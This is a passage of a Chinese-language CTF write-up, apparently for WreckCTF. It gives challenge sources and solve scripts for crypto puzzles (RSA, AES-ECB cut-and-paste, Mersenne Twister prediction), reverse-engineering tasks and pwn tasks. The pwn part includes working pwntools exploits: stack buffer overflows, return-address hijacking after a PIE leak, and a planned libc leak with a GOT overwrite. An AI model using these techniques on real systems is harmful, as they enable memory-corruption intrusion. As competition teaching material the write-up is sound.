目录
签到题,移们加密
with open('flag.txt', 'r') as file:
plaintext = file.read().strip()
def spin(c, key):
return chr((ord(c) - ord('a') - key) % 26 + ord('a'))
ciphertext = ''.join(
spin(c, 43) if 'a' <= c <= 'z' else c
for c in plaintext
)
with open('ciphertext.txt', 'w+') as file:
file.write(ciphertext)
#oujp{xkurpjcxah_ljnbja_lryqna}
一切皆可查表法,解
c = 'oujp{xkurpjcxah_ljnbja_lryqna}'
tab1 = ''
tab2 = ''
for i in range(26):
tab1 += chr((i-43)%26 + ord('a'))
tab2 += chr(ord('a')+i)
print(tab1, tab2)
flag = ''
for i in c:
if 'a'<= i <= 'z':
flag += tab2[tab1.index(i)]
else:
flag += i
print(flag)
RSA题还有这么出的,给了n,p,c看好了,是p
import os
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import getPrime
flag = os.environ.get('FLAG', 'no flag provided...')
flag = bytes_to_long(flag.encode())
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
c = pow(flag, e, n)
print(f'n = {n}')
print(f'p = {p}')
print(f'c = {c}')
有p直接写结果
n = 16967030524502117214404100938261512382476151014953810086457458506775561699741027177109475539121211529814684487395199133801638599985180955338495989569340540376124807821943573280630324881818066744507564756665127210459332444920606486994072129710858139496303833832240535648836812837435101898107375109591298448865096896766383411711200824664445664678845771535439939206180644815510852117001857835603778955859253603587494892843836213881773638034262614536999861164857385629363907454894250540295882187971147536166744476224735521763298209764627356686320122210736490192602850501326898433744416186683178097463922613678659551708913
p = 112938170774939578216646572395872887695843784155521810581759026139441777082668981414130841110435151229821393412015735096194165993689242885701364849407355608664777621193747399866798831020509285147859127962346645901944198309670340274589989755553987121054384691648307853338777947729704797783621352987968380404953
c = 3368698370223657437363956246409070827533162506001921259102069828983434755863382284430154276267297409790119872670804781112016305330950073801884911157804546010154111795543704170801587831489566486566469051334021190261635984576008739988870135676555037073260283576557781498330505383655344806353896492051402660556261952019042918816172190224923806908316787952447009744475852130517418559365436552563392957767628839691411633880727219556601643606771975372751803686173396627207883779445464569870767142834865744494453087393160416188615150825879908393020074220980283645462336483624972560418501642296980186442041991775924025176517
e = 65537
from gmpy2 import invert
phi = (p-1)*(n//p-1)
d = invert(e, phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
这个不知道应该归到的加密方法叫啥,感觉像是维吉尼亚。先生成256套码表,加密时先按偏移选码表再查表。
#!/usr/local/bin/python -u
import os
import random
LETTERS = set('abcdefghijklmnopqrstuvwxyz')
def encrypt(plaintext, key):
return ''.join(
chr(permutation[ord(letter) - ord('a')] + ord('a'))
if letter in LETTERS
else letter
for letter, permutation in zip(plaintext, key)
)
key = [list(range(26)) for _ in range(256)]
for permutation in key:
random.shuffle(permutation)
print('Welcome to the Multi-Time Pad!')
while True:
print('1. Encrypt message')
print('2. Get flag')
choice = input('> ')
match choice:
case '1':
plaintext = input('What\'s your message? ')
case '2':
plaintext = os.environ.get('FLAG', 'no flag provided!')
case _:
print('Invalid choice!')
continue
print(f'Result: {encrypt(plaintext, key)}')
#nc challs.wreckctf.com 31239
解法就是先得到码表再解
'''
$ nc challs.wreckctf.com 31239
Welcome to the Multi-Time Pad!
1. Encrypt message
2. Get flag
> 1
What's your message? abcdefghijklmnopqrstuvwxyz
Result: tfinrmeaepnzgqzicdhbpvlcul
1. Encrypt message
2. Get flag
> 2
Result: zqxr{uaqr_nmd_czrpn_opapzzfzqaqtgmkezeq}
'''
from pwn import *
context.log_level = 'debug'
code = 'abcdefghijklmnopqrstuvwxyz'
flag = list('?'*40)
def check(flag):
for i in flag:
if i == '?':
return True
return False
while check(flag):
p = remote('challs.wreckctf.com', 31239)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Result: ')
c = p.recvline()[:-1].decode()
tab = ['']*40
for i,v in enumerate(code):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'message? ', (v*40).encode())
mm = p.recvline()[:-1].decode()[-40:]
for j in range(40):
tab[j] += mm[j]
print(tab)
print(c)
p.close()
for i,v in enumerate(c):
if flag[i] == '?':
if 'a' <= v <= 'z':
if v in code:
flag[i] = code[tab[i].index(v)]
else:
flag[i] = v
print(''.join(flag))
print(''.join(flag))
'''
['qsnmdexyhuiclfpwvjbtorzakg', 'zqifnercvatgowsdybukhlmxpj', 'fnduwsgypeaxhjkvtmqcrbzilo', 'grhoiakpuysfemzdncbtwlqxvj', 'yckipxtbsrajhqevwfodmgnzlu', 'wadftnlgrmjseihcuzpyoxbvkq', 'altjhmqzcvpsobdxwfgeirkuyn', 'gabuekzmqpvficwtdhxrolsnyj', 'kchxdjvsgaupzmqiywfbtonrel', 'ptulxjzyiqmsacrbkvwnohdgfe', 'oshkluxqngizmwtvpbayredjcf', 'rswbftanlohqkmpgxevyzuicdj', 'uikdptgocalfnjsbemrzwqhvyx', 'gscnayvpjfuqkhziwtemxoldbr', 'xlmbvngzhiacwqjkfrsodyutpe', 'pkevcywqtlmdsbznuirjxohgaf', 'slmyhrpiwcnvkodabqgxjzufte', 'hotwumqeplbfvzasidnjgcxkyr', 'ntwsfkvbydcipzjeurolamxgqh', 'vnpzgyfcalqekouhbjrtdmwsxi', 'ndpktijqgavrwyfzsebmcuhlxo', 'aondiwsegfqjrxbmlyczthkuvp', 'pcdjngksfozhqrevaulxwtimby', 'mwnqxhiuvredglsyajktfbpzco', 'zxblyumafndcwikgpovjqehsrt', 'suhvnawxyltfmgczerojdipbkq', 'tcrvnwyklmabpedgqhjuzsfoix', 'oejknphbwxaziqlsryufvmdgct', 'hwilpymtdqskgarezfnxubovcj', 'roekgbmqdyvlcufzwanxsipthj', 'yrtlqvuiaehgswzxmofckbjndp', 'trlksaqnuwioydzvxmegpcjbfh', 'jorsvegixhuwbfacdznlptqkmy', 'rsfahtjzneubdmvgwqckyloipx', 'oqtecrjdazfykvlmbuwsngxhpi', 'pvyzsftxbmqarjkgiduowclnhe', 'fvkugqyacehnxomtilbdzrwsjp', 'hzkjsxmatqglndvbrfepwcoyiu', 'lmqzwkpiavndfsoctjhrugyexb', 'raiynzmfwbjvltsxdchuogqpek']
egfk{hdtf_ify_rcjnf_dkdrgevdpftouoyvhvq}
'''
#flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}
脑筋需要转弯了,题目要求是输入一个1020-1028位之间的数,1000之内没有1以外的因子,并且用伪素数测试通过,并且有70个互质因子(输入)这个当时没想明白,睡醒后突然想到1可以满足gcd==1的要求。那么就不需要找伪素数了(数学家都干不出来,咱就别想了)
伪素数:费马有个式子,所有素都都满足 a**(n-1)%n == 1 (a ∈[1,n-1)),但满足的不一定是素数,这个很难找。
#!/usr/local/bin/python
import random
import math
with open ("flag.txt", "r") as f:
flag = f.read()
n = int(input(">> "))
n_len = n.bit_length()
if n_len<1020 or n_len>1028:
print("no.")
quit()
for i in range(2,1000):
if n%i==0:
print("no.")
quit()
#费马小定理 对伪素数也成立
if all([pow(random.randrange(1,n), n-1, n) == 1 for i in range(256)]):
a = []
for _ in range(70):
a.append(int(input(">> ")))
if all([n%i==0 for i in a]):
for i in range(len(a)):
for j in range(i+1, len(a)):
if math.gcd(a[i],a[j])!=1:
print(a[i],a[j])
print("no.")
quit()
print(flag)
else:
print("no.")
quit()
#nc challs.wreckctf.com 31273
直接弄个素数,然后再输入70个1就行了
from pwn import *
from Crypto.Util.number import getPrime
p = remote('challs.wreckctf.com', 31273)
context.log_level = 'debug'
n = getPrime(1026)
p.sendlineafter(b'>> ', str(n).encode())
for i in range(70):
p.sendlineafter(b'>> ', b'1')
p.recvline()
#flag{yep_it's_definitely_prime}
AES ECB模式加密,刚作了一个OFB模式的,大概都看过。ECB模式没有反馈,所以明文和密文有一一对应关系。
题目要求输入gary的密文,但不能输入gary求,所以可以求a*16+gary,然后第二个分且就是gary的
#!/usr/local/bin/python
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
KEY = ''.join(random.choice('0123456789abcdef') for _ in range(32)).encode()
def encrypt(name):
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(pad(name.encode(), AES.block_size)).hex()
def decrypt(ciphertext):
cipher = AES.new(KEY, AES.MODE_ECB)
result = unpad(cipher.decrypt(bytes.fromhex(ciphertext)), AES.block_size)
return result.decode()
print('welcome to the flag viewer!')
while 1:
print('1. view flag')
print('2. generate token')
value = input('> ')
if value == '1':
token = input('token: ')
try:
name = decrypt(token)
except ValueError:
print('invalid token')
continue
if name == 'gary':
print(os.environ.get('FLAG', 'no flag provided.'))
else:
print('sorry, only gary can view the flag')
elif value == '2':
name = input('name: ')
if name == 'gary':
print('nice try!')
else:
print(f'here\'s your token: {encrypt(name)}')
else:
print('unknown input!')
#nc challs.wreckctf.com 31522
解法
from pwn import *
p = remote('challs.wreckctf.com', 31522)
context.log_level = 'debug'
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'name: ', b'A'*16 + b'gary')
token = p.recvline()[:-1][-32:]
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'token: ', token)
p.recvline()
'''
gary
aaaaaaaaaaaaaaaagary
428b38f59c7b4dba890d0aa09c63f246778543e572867e0f863b839dd37b0ad7
flag{gary_gary_gary_gary_gary_gary}
'''
一道真正的rsa的题,可以输入密文返回明文。然后要求输入明文能得到指定的密文。本来以为没啥,可这里有个
坑:输入是bytes,会被encode('utf-8'),这样一个比较乱的bytes就无法通过。
#!/usr/local/bin/python
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
flag = open('flag.txt', 'rb').read()
d = inverse(e, (p-1)*(q-1))
pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"
def enc(m):
if pandaman == m:
return "No :("
else:
return pow(bytes_to_long(m), d, n)
def check():
if long_to_bytes(pow(int(input("Enter here: ")), e, n)) == pandaman:
print(flag)
else:
print("darn :(")
def menu():
print("1. Encrypt")
print("2. Check")
print("3. Exit")
return input(">> ")
while True:
choice = menu()
if choice == "1":
pt = input("Enter String: ")
print(enc(pt.encode('utf-8')))
elif choice == "2":
check()
elif choice == "3":
break
else:
print("Invalid choice")
#nc challs.wreckctf.com 31745
绕坑的方法是输入2**e*c这个会比n大,但没说过输入c解密时c一定要比n小,只是见过的题都比n小,因为c是经过%n得到的,这里其实输入的并不c而是与c能得到相同m的值。
from math import gcd
from Crypto.Util.number import *
from gmpy2 import invert
from pwn import *
pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"
e = 65537
p = remote('challs.wreckctf.com', 31745)
def get_m(c):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Enter String: ', long_to_bytes(c))
return int(p.recvline())
'''
def get_m(c):
return enc(long_to_bytes(c))
def enc(m):
if pandaman == m:
return "No :("
else:
return pow(bytes_to_long(m), d, n)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(bytes_to_long(pandaman), d, n)
print('n = ', n)
print('m = ', m) #pandaman 的明文
print('c = ', (m*2)%n)
print('m = ', pow(pow((m*2)%n,e,n),d,n))
'''
context.log_level = 'debug'
m1 = get_m(53)
m2 = get_m(59)
m3 = get_m(67)
n = gcd(gcd(m1**e - 53, m2**e - 59),m3**e-67) #sage
c1 = (2**8)**e * bytes_to_long(pandaman)
#print('c1 = ', c1) #0x100*m
m3 = get_m(c1)
m3 = int(m3 * invert(2**8, n) % n)
print(m3)
print(long_to_bytes(pow(m3,e,n))) #== pandaman
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter here: ', str(m3).encode())
p.recvline()
p.interactive()
#flag{dan_likes_moes}
可能好多东西没用,这里的n,题目没有提供n但求明文需要,当这个明文不需要,这里写多了。而且由于n需要用到gcd所以在sage里才能快速解出。
这题直接用到一个pylfrs库进行加密。库下下来后发现只是进行位异或。
将fpoly中偏移的位异或得到新位插在队尾,从队头开始输出。
解密就直接用得到的位(c xor key)得到加密输出,然后一直向前用fpoly(去掉32加上0)异或得到上一个output加到队尾。这样就能得到state
state是由getrandbits(32)得到,这题就转化为通过梅森旋转预测下一个随机数。
解法就是先取得624个密文和flag的密文,求出flag所用的state再解密
#!/usr/local/bin/python
import random
from pylfsr import LFSR
with open ("flag.txt", "r") as f:
flag = f.read()
def enc(plaintext):
r = random.getrandbits(32)
state = [int(i) for i in list(bin(r)[2:].zfill(32))]
plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])
l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)
for i in range(0x1337):
l.next()
key = []
for i in range(len(plaintext)):
key.append(l.next())
return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])
def menu():
print("1. Encrypt Random String")
print("2. Encrypt Flag")
print("3. Exit")
return input(">> ")
while True:
choice = menu()
if choice == "1":
pt = input("Enter String: ")
if len(pt)!=16:
print("Invalid String Length")
continue
print(enc(pt)) #获得0x1337后的16*8个状态, ?倒推出r 根据624个r预测下一个,得到flag加密时r
elif choice == "2":
print(enc(flag))
break
elif choice == "3":
break
else:
print("Invalid choice")
#nc challs.wreckctf.com 31310
解法
先获取数据,网站会断,在线算可能会很麻烦,先得到到数据再慢慢算
from pwn import *
p = remote('challs.wreckctf.com', 31310)
context.log_level = 'debug'
def get_r():
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b"Enter String: ", b'\x00'*16)
return p.recvline()
fp = open('data.txt', 'wb')
for i in range(624):
fp.write(get_r())
p.sendlineafter(b'>> ', b'2')
fp.write(p.recvline())
sleep(1)
fp.close()
p.close()
然后再解密
from pwn import *
from random import Random, getrandbits
from Crypto.Util.number import long_to_bytes
from pylfsr import LFSR
''' 梅森旋转 '''
def invert_right(m,l,val=''):
length = 32
mx = 0xffffffff
if val == '':
val = mx
i,res = 0,0
while i*l<length:
mask = (mx<<(length-l)&mx)>>i*l
tmp = m & mask
m = m^tmp>>l&val
res += tmp
i += 1
return res
def invert_left(m,l,val):
length = 32
mx = 0xffffffff
i,res = 0,0
while i*l < length:
mask = (mx>>(length-l)&mx)<<i*l
tmp = m & mask
m ^= tmp<<l&val
res |= tmp
i += 1
return res
def invert_temper(m):
m = invert_right(m,18)
m = invert_left(m,15,4022730752)
m = invert_left(m,7,2636928640)
m = invert_right(m,11)
return m
def clone_mt(record):
state = [invert_temper(i) for i in record]
gen = Random()
gen.setstate((3,tuple(state+[0]),None))
return gen
''' 改造后的求state '''
def enc(r, plaintext):
state = [int(i) for i in list(bin(r)[2:].zfill(32))]
plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])
l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)
for i in range(0x1337):
l.next()
key = []
for i in range(len(plaintext)):
key.append(l.next())
return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])
def mdec(v):
v = [int(i) for i in v][::-1]
ppoly=[26,20,11,8,5,3,1,0]
for _ in range(0x1337):
t = 0
for i in ppoly:
t ^=v[i]
v = v[1:]+[t]
#print(v)
return int(''.join([str(i) for i in v]) ,2)
'''
r = getrandbits(32)
print(r, bin(r)[2:].zfill(32)[::-1])
v = enc(r, chr(0)*16)
print(v)
a = mdec(v[:32])
print(a, bin(a)[2:].zfill(32))
'''
data = open('data.txt').read().split('\n')
prng = []
for _ in range(624):
prng.append(mdec(data[_][:32]))
g = clone_mt(prng[:624])
for _ in range(625):
k = g.getrandbits(32)
print(k)
c = enc(k, chr(0)*25)
cb = long_to_bytes(int(c, 2))
ca = long_to_bytes(int(data[624], 2))
print(xor(ca,cb))
直接给了顺序打乱的片段
if ( strlen(s) != 40 )
bad();
if ( strncmp(v14, "d94", 3uLL) )
bad();
if ( strncmp(v6, "db_", 3uLL) )
bad();
if ( strncmp(v10, "35t", 3uLL) )
bad();
if ( strncmp(v8, "y0u", 3uLL) )
bad();
if ( strncmp(v7, "1s_", 3uLL) )
bad();
if ( strncmp(v13, "d_6", 3uLL) )
bad();
if ( strncmp(v5, "g{g", 3uLL) )
bad();
if ( strncmp(v11, "_fr", 3uLL) )
bad();
if ( v16[3] != 125 )
bad();
if ( strncmp(v12, "13n", 3uLL) )
bad();
if ( strncmp(v16, "fa6", 3uLL) )
bad();
if ( strncmp(v9, "r_b", 3uLL) )
bad();
if ( strncmp(v15, "620", 3uLL) )
bad();
if ( strncmp(s, "fla", 3uLL) )
bad();
直接手工组合
s 5 6 7 8 9 10 11 12 13 14 15 16
flag{gdb_1s_y0ur_b35t_fr13nd_6d94620fa6}
32位程序需要手工算
v0 = sys_write(1, &unk_80491DF, 0x11u);
v1 = sys_read(0, &unk_8049234, 0x29u);
*(_BYTE *)(v2 + 40) = 0;
if ( (*(_DWORD *)v2 ^ 0x558C4DC) == 1647945914
&& (*(_DWORD *)(v2 + 4) ^ 0x71100C9B) == 25126112
&& (*(_DWORD *)(v2 + 8) ^ 0xCE3D1DDE) == -1589361989
&& (*(_DWORD *)(v2 + 12) ^ 0x322958FC) == 1096550281
&& (*(_DWORD *)(v2 + 16) ^ 0x8CBE8F4E) == -152966357
&& (*(_DWORD *)(v2 + 20) ^ 0xB14A374B) == -567515016
&& (*(_DWORD *)(v2 + 24) ^ 0xEE9707A) == 1721577224
&& (*(_DWORD *)(v2 + 28) ^ 0xF98DDD38) == -925716911
&& (*(_DWORD *)(v2 + 32) ^ 0x5D715F4D) == 1813145471
&& (*(_DWORD *)(v2 + 36) ^ 0x410B9F90) == 1010629539 )
{
v3 = sys_write(1, &unk_804920B, 0x29u);
v4 = sys_exit(0);
}
v5 = sys_write(1, &unk_80491F0, 0x1Bu);
v6 = sys_exit(1);
解
from pwn import *
s = [0x558C4DC,1647945914,
0x71100C9B,25126112,
0xCE3D1DDE,-1589361989,
0x322958FC,1096550281,
0x8CBE8F4E,-152966357,
0xB14A374B,-567515016,
0xEE9707A,1721577224,
0xF98DDD38,-925716911,
0x5D715F4D,1813145471,
0x410B9F90,1010629539]
flag = b''
for i in range(0, len(s), 2):
f = (s[i]^s[i+1])&0xffffffff
flag +=p32(f)
print(flag)
异或加密
__int64 __fastcall my_memfrob(__int64 a1, unsigned __int64 a2, char a3)
{
__int64 result; // rax
int i; // [rsp+20h] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( a2 <= i )
break;
*(_BYTE *)(i + a1) ^= a3;
}
return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rcx
char v5; // [rsp+Fh] [rbp-11h]
char *s; // [rsp+10h] [rbp-10h]
unsigned int v7; // [rsp+18h] [rbp-8h]
int v8; // [rsp+1Ch] [rbp-4h]
s = (char *)load_flag(argc, argv, envp);
v8 = 1;
v7 = 1;
while ( v7 != 233 )
{
v3 = strlen(s);
my_memfrob(s, v3, v7);
v5 = v7;
v7 += v8;
v8 = v5;
}
print(s);
return 0;
}
按原样再异或一次
s = bytes.fromhex('afa5a8aeb2a5a0a7bcb196baa1a6bca5ad96a8adad96a4b096a4aca4afbba6abb4')
s = [i for i in s]
v8 = 1
v7 = 1
while v7 != 233:
s = [i^v7 for i in s]
v5 = v7
v7 += v8
v8 = v5
print(bytes(s))
每次移位后生成新的偏移
#!/usr/local/bin/python
import os
def check_license(license):
characters = set('0123456789abcdef')
s = [9]
for c in license:
if c not in characters:
return False
s.append((s[-1] + int(c, 16)) % 16)
target = '51c49a1a00647b037f5f3d5c878eb656'
return ''.join(f'{c:x}' for c in s[1:]) == target
print('welcome to reverser as a service!')
license = input('please enter your license key: ')
if not check_license(license):
print('sorry, incorrect key!')
exit()
string = input('what should i reverse? ')
print(f'output: {string[::-1]}')
print(os.environ.get('FLAG', 'no flag given'))
#nc challs.wreckctf.com 31706
解法
def check_license(license):
characters = set('0123456789abcdef')
s = [9]
for c in license:
if c not in characters:
return False
s.append((s[-1] + int(c, 16)) % 16)
target = '51c49a1a00647b037f5f3d5c878eb656'
return ''.join(f'{c:x}' for c in s[1:]) == target
s = '951c49a1a00647b037f5f3d5c878eb656'
license = ''
for i in range(32):
c = ( int(s[i+1], 16) - int(s[i],16) )%16
license += hex(c)[2:]
print(license)
print( check_license('ccb85179606e3453486a4a87cf16dbf1') )
'''
$ nc challs.wreckctf.com 31706
welcome to reverser as a service!
please enter your license key: ccb85179606e3453486a4a87cf16dbf1
what should i reverse? 1
output: 1
flag{clock_math_too_hard}
'''
这题很恶心,需要手工去花,很多
LOAD:080480DE ; LOAD:080480D9↑j
LOAD:080480DE 66 8B 59 08 mov bx, [ecx+8]
LOAD:080480E2 66 81 F3 DA EA xor bx, 0EADAh
LOAD:080480E7 66 81 C3 0D FE add bx, 0FE0Dh
LOAD:080480EC 66 81 FB B7 8D cmp bx, 8DB7h
LOAD:080480F1 0F 85 68 02 00 00 jnz loc_804835F
LOAD:080480F1
LOAD:080480F7 71 03 jno short loc_80480FC
LOAD:080480F7
LOAD:080480F9 70 01 jo short loc_80480FC
LOAD:080480F9
LOAD:080480FB 90 nop <--- nop后就能看了
然后把数抄下来运算
flag = ''
def addflag(v):
global flag
flag +=chr(v&0xff)+chr(v>>8)
#+8
v8 = ((0x8db7 - 0xfe0d)^0xeada)&0xffff
v6 = ((0x520d - 0xfe67)^0xc96)& 0xffff
v0 = ((0x5eca - 0xfd96)^0xd52)& 0xffff
v2 = ((0x3e3c - 0x198)^0x5bc5)& 0xffff
v12 = ((0xb4c8 - 0xfc9b)^0xd644)& 0xffff
v14 = ((0x99aa - 0x3ae)^0xb49b)& 0xffff
v4 = ((0xbd0f - 0xff06)^0xd072)& 0xffff
v10 = ((0x17ce - 0xa6)^0x7c4d)& 0xffff
v20 = ((0x210d - 0xfefc)^0x4e7d)& 0xffff
v22 = ((0x19df - 0xfe39)^0x44df)& 0xffff
v16 = ((0x1898 - 0x315)^0x67dc)& 0xffff
v26 = ((0x46cf - 0x3e0)^0x7182)& 0xffff
v28 = ((0xb56c - 0xf6)^0xda17)& 0xffff
v18 = ((0xccb1 - 0x1c9)^0xab8d)& 0xffff
v32 = ((0xfeba - 0x28)^0xa1e6)& 0xffff
v34 = ((0x7f56 - 0xfe47)^0xb338)& 0xffff
v36 = ((0x308a - 0x3d8)^0x4ed6)& 0xffff
v38 = ((0xb936 - 0x2ff)^0xcb0f)& 0xffff
v24 = ((0x35cd - 0xe8)^0x6b8c)& 0xffff
v30 = ((0x1732 - 0x243)^0x7db0)& 0xffff
addflag(v0)
addflag(v2)
addflag(v4)
addflag(v6)
addflag(v8)
addflag(v10)
addflag(v12)
addflag(v14)
addflag(v16)
addflag(v18)
addflag(v20)
addflag(v22)
addflag(v24)
addflag(v26)
addflag(v28)
addflag(v30)
addflag(v32)
addflag(v34)
addflag(v36)
addflag(v38)
print(flag)
这是一个4*4的拼板问题,可惜没有现成的程序,不过好在题目是固定的,这样手工玩一把会比写程序快。
#!/usr/local/bin/python
import os
def do_hop(state):
hopper = state['hopper']
line = state['line']
hops = [
(hopper - 4, hopper >= 4),
(hopper - 1, hopper % 4 != 0),
(hopper + 1, hopper % 4 != 3),
(hopper + 4, hopper < 12),
]
hoppees = { line[hop]: hop for hop, legal in hops if legal }
people = ', '.join(hoppees)
print('oh no! the order of the line is wrong!')
print(f'you can hop with {people}.')
hoppee = input('who do you choose? ')
if hoppee not in hoppees:
print('can\'t hop there!')
return
target = hoppees[hoppee]
line[hopper], line[target] = line[target], line[hopper]
state['hopper'] = target
def fixed(state):
position = { hoppee: i for i, hoppee in enumerate(state['line']) }
if position['olive'] > position['olen']:
return False
if position['shauna'] > position['constance']:
return False
if position['zane'] > position['tracie']:
return False
if position['loretta'] > position['chasity']:
return False
if position['gracie'] > position['shauna']:
return False
if position['tracie'] > position['louie']:
return False
if position['bertram'] > position['antoinette']:
return False
if position['antoinette'] > position['dana']:
return False
if position['constance'] > position['bertram']:
return False
if position['louie'] > position['wes']:
return False
if position['olen'] > position['hopper']:
return False
if position['wes'] > position['loretta']:
return False
if position['chasity'] > position['olive']:
return False
if position['rosemarie'] > position['gracie']:
return False
if position['dana'] > position['zane']:
return False
return True
# 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'
state = {
'hopper': 0,
'line': [
'hopper',
'wes',
'gracie',
'zane',
'constance',
'rosemarie',
'shauna',
'chasity',
'louie',
'tracie',
'dana',
'olen',
'olive',
'loretta',
'bertram',
'antoinette',
],
}
while not fixed(state):
do_hop(state)
print(os.environ.get('FLAG', 'no flag provided!'))
#nc challs.wreckctf.com 31714
手工作出后上传结果
s = 'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'.split(',')
#手工玩一把记录结果
w = [10,0,3,10,0,1,7,12,2,6,8,3,6,8,3,6,8,3,14,2,12,7,3,14,2,12,14,2,12,14,7,3,2,12,4,5,14,7,12,4,5,11,13,9,10,8,4,5,6,10,8,4,5,12,7,14,11,6,12,7,14,12,6,11,12,14,7,6,11,12,14,11,10,13,9,8,13,9,12,14,11,10,9,13,8,12,13,9,10,11]
from pwn import *
p = remote('challs.wreckctf.com', 31714)
context.log_level = 'debug'
for i in w:
v = s[i]
#p.sendlineafter(b'who do you choose? ', v.encode())
p.sendline(v.encode())
p.recvall()
直接给了源码,很明显在输入password里会覆盖到accurate
// gcc -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
#include <string.h>
bool load_password(char *password) {
FILE *fp;
if ((fp = fopen("password.txt", "r")) == NULL)
return false;
if (fread(password, 1, 15, fp) != 15)
return false;
password[15] = 0;
fclose(fp);
return true;
}
void print_flag() {
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL)
return;
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char flag[fsize + 1];
flag[fsize] = 0;
fread(flag, 1, fsize, fp);
puts(flag);
fclose(fp);
}
int main() {
char password[16];
char accurate[16];
if (!load_password(accurate))
return 1;
puts("Input password");
fflush(stdout);
gets(password);
if (strcmp(password, accurate) == 0)
print_flag();
else
puts("Sorry, incorrect password\n");
fflush(stdout);
}
直接覆盖
from pwn import *
p = remote('challs.wreckctf.com', 31009)
context.log_level = 'debug'
p.sendline(b'\x00'*32)
print(p.recvall())
外国题就是好,直接给源码,溢出很小写不了rop,但有后门写frog,coin
// compiled with gcc -fno-stack-protector -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
bool frog = false;
bool coin = false;
bool wallet_supports_frog_coin = false;
void lilypad(char *buffer) {
fgets(buffer, 40, stdin);
}
void set_frog() {
puts("Setting frog...");
frog = wallet_supports_frog_coin;
if (frog)
puts("Frog set!");
fflush(stdout);
}
void set_coin() {
puts("Setting coin...");
coin = frog;
if (coin)
puts("Coin set!");
fflush(stdout);
}
void froggers(char *name) {
printf("Hi %s", name);
if (frog && coin) {
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL)
return;
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char flag[fsize + 1];
flag[fsize] = 0;
fread(flag, 1, fsize, fp);
if (!frog || !coin) {
puts("Frogger error!");
fflush(stdout);
exit(1);
}
printf("%s\n", flag);
fclose(fp);
} else {
puts("Your wallet doesn't have frog coins!");
}
fflush(stdout);
}
int main() {
printf("Hey I'm %p, what's your name?\n", main);
fflush(stdout);
char name[16]; //溢出
lilypad(name);
froggers(name);
if (!wallet_supports_frog_coin) {
wallet_supports_frog_coin = true;
}
return 0;
}
利用溢出调用后门。第2次调用后会有1字节偏移,没搞明白,但gdb可以看到。第2次调整下偏移即可。
from pwn import *
p = remote('challs.wreckctf.com', 31824)
#p = process('./pwn')
elf = ELF('./pwn')
context(arch='amd64', log_level = 'debug')
#gdb.attach(p, 'b main')
#pause()
p.recvuntil(b"Hey I'm ")
pwn_base = int(p.recvuntil(',', drop=True), 16) - elf.sym['main']
elf.address = pwn_base
print(hex(pwn_base))
pop_rdi = pwn_base + 0x0000000000001603 # pop rdi ; ret
pop_rsi = pwn_base + 0x0000000000001601 # pop rsi ; pop r15 ; ret
pay = b'A'*16 + flat(0, elf.sym['set_frog'], elf.sym['main'])
p.sendafter(b'name?\n', pay)
#pause()
pay = b'A'*15 + flat(0, elf.sym['set_coin'], elf.sym['froggers'])
p.sendafter(b'name?\n', pay)
#pause()
p.recvline()
p.interactive()
块按链方式存储,有写溢出,通过溢出覆盖next指针泄露libc,然后覆盖got[atoi]的为system
int vuln()
{
unsigned int v0; // eax
unsigned int v1; // eax
int v3; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h]
void *ptra; // [rsp+8h] [rbp-8h]
void *ptrb; // [rsp+8h] [rbp-8h]
const char *ptrc; // [rsp+8h] [rbp-8h]
puts("what would you like to do?");
puts("1. push to back");
puts("2. pop from back");
puts("3. edit node");
puts("4. read node");
v3 = read_n();
if ( v3 == 4 )
{
puts("enter an index:");
v1 = read_n();
ptrc = (const char *)get_ptr(v1);
if ( ptrc )
{
puts(ptrc + 8);
return puts(&byte_4020DB);
}
LABEL_14:
puts("index does not exist!");
return puts(&byte_4020DB);
}
if ( v3 > 4 )
goto LABEL_18;
switch ( v3 )
{
case 3:
puts("enter an index:");
v0 = read_n();
ptrb = (void *)get_ptr(v0);
if ( ptrb )
{
read128(ptrb);
puts("edited!!");
return puts(&byte_4020DB);
}
goto LABEL_14;
case 1:
